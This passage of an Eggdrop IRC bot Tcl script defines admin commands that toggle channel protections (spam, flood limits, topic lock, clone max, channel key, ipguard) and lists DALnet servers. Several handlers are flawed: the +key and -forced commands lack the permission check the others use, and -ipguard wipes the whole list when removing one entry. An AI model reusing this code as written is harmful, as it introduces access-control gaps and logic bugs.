if {[matchattr $cflag U]} { append mstatus "\[12C\]aPs12 [getuser $cflag XTRA "CAPS"]% " }
if {[matchattr $cflag P]} { append mstatus "JoIN\[12P\]aRT12 [getuser $cflag XTRA "JP"] 2nd " }
if {[matchattr $cflag T]} { append mstatus "\[12T\]exT12 [getuser $cflag XTRA "CHAR"] CHaR " }
if {[matchattr $cflag J]} { append mstatus "MaSs\[12J\]oIN " }
if {[matchattr $cflag L]} { append mstatus "\[12L\]ImITEd12 +[getuser $cflag XTRA "LIMIT"] " }
if {[string match "*+seen*" $cinfo]} { append mstatus "\[12S\]EEN " }
if {[matchattr $cflag O]} { append mstatus "\[12C\]LonE12 [getuser $cflag XTRA "CLONE"] MaX " }
if {[matchattr $cflag E]} { append mstatus "\[12E\]nFoRceBaN " }
if {[matchattr $cflag C]} { append mstatus "\[12C\]YcLE12 [getuser $cflag XTRA "CYCLE"] MnT " }
if {$mstatus != ""} {
if {[getuser "config" XTRA "ADMIN"]!=""} {
set mstatus "SeT FoR \[04[string toupper $channel]\] ${mstatus}[getuser "config" XTRA "ADMIN"] [lgrnd] $vern"
} {
set mstatus "SeT FoR \[04[string toupper $channel]\] ${mstatus}[lgrnd]"
}
}
if {[string match "*c*" [getchanmode $channel]]} {
set mstatus [uncolor $mstatus]
regsub -all --  $mstatus "" mstatus
}
puthlp "PRIVMSG $channel :\001ACTION $mstatus\001"
}
proc pub_+spam {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [userlist A] {
chattr $x +S
}
puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[9ON\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {[matchattr $cflag S]} {
puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +S
puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]"
saveuser
}
proc pub_-spam {nick uhost hand chan rest} {
global notc 
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} { 
set chan "#$chan"
}
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {[string tolower $chan] == "#all"} {
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
foreach x [userlist A] {
chattr $x -S
}
puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[04OFF\]"
return 0
}
if {![validchan $chan]} { return 0 }
if {![matchattr $cflag S]} {
puthlp "NOTICE $nick :$notc SpaM $chan \[04OFF\]"
return 0
}  
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -S
puthlp "NOTICE $nick :$notc SpaM $chan \[04OFF\]"
saveuser
}
proc pub_+cycle {nick uhost hand chan rest} {
global notc 
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +cYcLe <minutes>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +C
setuser $cflag XTRA "CYCLE" $rest
puthlp "NOTICE $nick :$notc cYcLe $chan \[9$rest\] MnT"
if {![istimer "cycle $chan"]} { timer $rest [cycle $chan] }
saveuser
}
proc pub_-cycle {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -C
setuser $cflag XTRA "CYCLE" ""
puthlp "NOTICE $nick :$notc cYcLe $chan \[04OFF\]"
saveuser
foreach x [timers] {
if {[string match "*cycle $chan*" $x]} { killtimer [lindex $x 2] }
}
}
proc pub_+greet {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage +greet <msg>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +G
setuser $cflag XTRA "GREET" $rest
puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[$rest\]"
saveuser
}
proc pub_-greet {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -G
setuser $cflag XTRA "GREET" ""
puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[04OFF\]"
saveuser
}
proc pub_+limit {nick uhost hand chan rest} {
global notc 
if {$rest == "" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage: +limit <number>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +L
setuser $cflag XTRA "LIMIT" $rest
puthlp "NOTICE $nick :$notc LImIT $chan \[9$rest\]"
saveuser
}
proc pub_-limit {nick uhost hand chan rest} {
global notc lst_limit
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -L
setuser $cflag XTRA "LIMIT" ""
puthlp "NOTICE $nick :$notc LImIT $chan \[04OFF\]"
catch { lst_limit($chan) }
saveuser
}
proc pub_+topic {nick uhost hand chan rest} {
global notc 
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +I
setuser $cflag XTRA "TOPIC" [topic $chan]
puthlp "NOTICE $nick :$notc TopIc $chan \[9LocK\]"
saveuser
}
proc pub_-topic {nick uhost hand chan rest} {
global notc lst_limit
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -I
setuser $cflag XTRA "TOPIC" ""
puthlp "NOTICE $nick :$notc TopIc $chan \[04UnLocK\]"
saveuser
}
proc pub_+joinpart {nick uhost hand chan rest} {
global notc 
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +joinpart <seconds>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +P
setuser $cflag XTRA "JP" $rest
puthlp "NOTICE $nick :$notc JoINPaRT $chan \[9$rest Sec's\]"
saveuser
}
proc pub_-joinpart {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -P
setuser $cflag XTRA "JP" ""
puthlp "NOTICE $nick :$notc JoINPaRT $chan \[04OFF\]"
saveuser
}
proc pub_+clone {nick uhost hand chan rest} {
global notc 
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +clone <max>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +O
setuser $cflag XTRA "CLONE" $rest
puthlp "NOTICE $nick :$notc cLonE $chan MaX \[9$rest\]"
saveuser
}

proc pub_-clone {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -O
setuser $cflag XTRA "CLONE" ""
puthlp "NOTICE $nick :$notc cLonE $chan \[04OFF\]"
saveuser
}
proc pub_+key {nick uhost hand chan rest} {
global notc 
set cflag "c$chan"
set cflag [string range $cflag 0 8]
set rest [lindex $rest 0]
if {$rest==""} {
puthlp "NOTICE $nick :$notc Usage +key <word>"
return 0
}
chattr $cflag +K
setuser $cflag XTRA "CI" [zip $rest]
puthlp "NOTICE $nick :$notc KeY $chan \[9$rest\]"
saveuser
}
proc pub_-key {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -K
setuser $cflag XTRA "CI" ""
puthlp "NOTICE $nick :$notc KeY $chan \[04OFF\]"
saveuser
}
proc pub_+text {nick uhost hand chan rest} {
global notc 
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +text <max>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +T
setuser $cflag XTRA "CHAR" $rest
puthlp "NOTICE $nick :$notc TexT $chan MaX \[9$rest\]"
saveuser
}
proc pub_-text {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -T
setuser $cflag XTRA "CHAR" ""
puthlp "NOTICE $nick :$notc TexT $chan \[04OFF\]"
saveuser
}
proc pub_+caps {nick uhost hand chan rest} {
global notc 
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +caps <%percent>"
return 0
}
if {$rest == 0 || $rest > 100} {
puthlp "NOTICE $nick :$notc FiLL UnDeR 1% - 100%"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +U
setuser $cflag XTRA "CAPS" $rest
puthlp "NOTICE $nick :$notc CAPS $chan \[9$rest%\]"
saveuser
}
proc pub_-caps {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -U
setuser $cflag XTRA "CAPS" ""
puthlp "NOTICE $nick :$notc cAPs $chan \[04OFF\]"
saveuser
}
proc pub_+repeat {nick uhost hand chan rest} {
global notc 
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +repeat <max>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +R
setuser $cflag XTRA "RPT" $rest
puthlp "NOTICE $nick :$notc RePeaT $chan MaX \[9$rest\]"
saveuser
}
proc pub_-repeat {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -R
setuser $cflag XTRA "RPT" ""
puthlp "NOTICE $nick :$notc RePeaT $chan \[04OFF\]"
saveuser
}
proc pub_+autovoice {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {$rest=="" || ![isnumber $rest]} {
puthlp "NOTICE $nick :$notc Usage +AuTovoIcE <secs>"
return 0
}
if {$rest == 0} {
puthlp "NOTICE $nick :$notc cAnT UsE NuLL"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +V
setuser $cflag XTRA "VC" $rest
puthlp "NOTICE $nick :$notc AuTovoIcE $chan qUeUe \[9$rest\] 2nd"
saveuser
pub_mvoice $nick $uhost $hand $chan ""
}
proc pub_-autovoice {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -V
setuser $cflag XTRA "VC" ""
puthlp "NOTICE $nick :$notc AuTovoIcE $chan \[04OFF\]"
saveuser
foreach x [utimers] {
if {[string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] }
}
}
proc pub_+enforceban {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +E
puthlp "NOTICE $nick :$notc EnFoRceBaN $chan \[9ON\]"
saveuser
}
proc pub_-enforceban {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -E
puthlp "NOTICE $nick :$notc EnFoRceBaN $chan \[04OFF\]"
saveuser
}
proc pub_+revenge {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +D
puthlp "NOTICE $nick :$notc ReVeNgE $chan \[9ON\]"
saveuser
}
proc pub_-revenge {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag -D
puthlp "NOTICE $nick :$notc ReVeNgE $chan \[04OFF\]"
saveuser
}
proc pub_+forced {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
chattr $cflag +M
puthlp "NOTICE $nick :$notc FoRceD $chan \[9ON\]"
saveuser
}
proc pub_-forced {nick uhost hand chan rest} {
global notc
set cflag "c$chan"
set cflag [string range $cflag 0 8]
chattr $cflag -M
puthlp "NOTICE $nick :$notc FoRceD $chan \[04OFF\]"
saveuser
}
proc pub_-colour {nick uhost hand chan rest} {
global notc kickclr
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set kickclr "T"
setuser "config" XTRA "KCLR" "Y"
puthlp "NOTICE $nick :$notc coLoUR KIcK \[04OFF\]"
saveuser
}
proc pub_+colour {nick uhost hand chan rest} {
global notc kickclr
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
catch {unset kickclr}
setuser "config" XTRA "KCLR" ""
puthlp "NOTICE $nick :$notc coLoUR KIcK \[9ON\]"
saveuser
}
proc pub_+ipguard {nick uhost hand channel param} {
global botname botnick notc botnick
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: +ipguard <hostname>"
return 0
}
if {$rest == "*" || $rest == "*!*@*"} {
puthlp "NOTICE $nick :$notc invalid hostname..!"
return 0
}
if {![string match "*@*" $rest]} {
puthlp "NOTICE $nick :$notc Usage: +ipguard <hostname>"
return 0
}
set ipguard [getuser "config" XTRA "IPG"]
foreach y $ipguard {
if {$y == $rest} {
puthlp "NOTICE $nick :$notc $rest aLReaDY ADDeD..!"
return 0
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
puthlp "NOTICE $nick :$notc add \[$rest\] To IpguaRd"
lappend ipguard $rest
setuser "config" XTRA "IPG" $ipguard
saveuser
return 0
}
proc pub_-ipguard {nick uhost hand channel param} {
global notc 
set rest [lindex $param 0]
if {$rest == ""} {
puthlp "NOTICE $nick :$notc Usage: -ipguard <hostname>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc 04DeNIEd..!"
return 0
}
set ipguard [getuser "config" XTRA "IPG"]
set nipg ""
set ok "F"
foreach y $ipguard {
if {$y == $rest} {
set ok "T"
puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM IpguaRd"
} {
lappend nipg
}
}
if {$ok == "T"} {
setuser "config" XTRA "IPG" $nipg
saveuser
return 0
}
puthlp "NOTICE $nick :$notc $rest NoT FouNDeD..!"
}

##### DALNET SERVER #######
##### DALNET SERVER #######
set servers {
underworld.se.eu.dal.net:6667
halcyon.il.us.dal.net:6667
irc.dal.net:6667
mesra.kl.my.dal.net:6667
punch.va.us.dal.net:6667
 }

putlog "======================================"
putlog "       TcL PRoTeCTIoN Loaded !        "
putlog "    DoN'T RePorT aNy BuGs AsSHoLE !   "
putlog "       LImiTeD & NoT FoR PuBLiC !     "
putlog "======================================"